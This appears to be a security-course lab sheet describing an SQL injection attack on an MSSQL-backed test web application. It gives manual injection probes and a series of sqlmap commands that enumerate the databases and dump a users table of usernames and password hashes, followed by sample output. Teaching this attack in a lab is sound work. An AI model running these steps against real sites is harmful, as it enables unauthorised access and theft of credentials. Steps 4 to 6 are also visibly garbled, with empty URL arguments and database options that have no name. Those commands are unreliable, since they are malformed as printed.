Experiment No. 14

Perform an SQL Injection Attack Against MSSQL to Extract Databases

AIM

To demonstrate an SQL Injection attack against a vulnerable web application backed by a Microsoft SQL Server (MSSQL) database, and to extract database information using SQL injection techniques and automated tools such as sqlmap.

PROCEDURE

1. Identify a vulnerable input parameter in the target application connected to an MSSQL backend (e.g., profile.php?id=1).
2. Manually confirm SQL injectability by submitting a single quote (') and observing a database error, then test a boolean-based payload such as id=1 AND 1=1 versus id=1 AND 1=2.
3. Use sqlmap to automate the attack: sqlmap -u "http://testapp.local/profile.php?id=1" --dbms=mssql --batch to confirm the injection point.
4. Enumerate the available databases on the MSSQL server using sqlmap: sqlmap -u "" --dbms=mssql --dbs.
5. Select the target database and enumerate its tables: sqlmap -u "" -D --tables.
6. Enumerate the columns of a sensitive table (e.g., users) and dump its data: sqlmap -u "" -D -T users --dump.
7. Document the extracted database names, table structures, and sample data retrieved, confirming the impact of the vulnerability.

SAMPLE OUTPUT

```
$ sqlmap -u "http://testapp.local/profile.php?id=1" --dbms=mssql --batch --dbs
[INFO] testing connection to the target URL
[INFO] the back-end DBMS is Microsoft SQL Server
web application technology: ASP.NET, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2019
available databases [3]:
[*] master
[*] testappdb
[*] tempdb

$ sqlmap -u "<url>" -D testappdb -T users --dump
Database: testappdb   Table: users
+----+----------+------------------+
| id | username | password_hash    |
+----+----------+------------------+
| 1  | admin    | 5f4dcc3b5aa765d6 |
| 2  | jdoe     | e10adc3949ba59ab |
+----+----------+------------------+
```

RESULT

An SQL Injection attack against the MSSQL-backed web application was successfully carried out using sqlmap, enumerating all databases, extracting the 'users' table from 'testappdb', and confirming a critical SQL Injection vulnerability.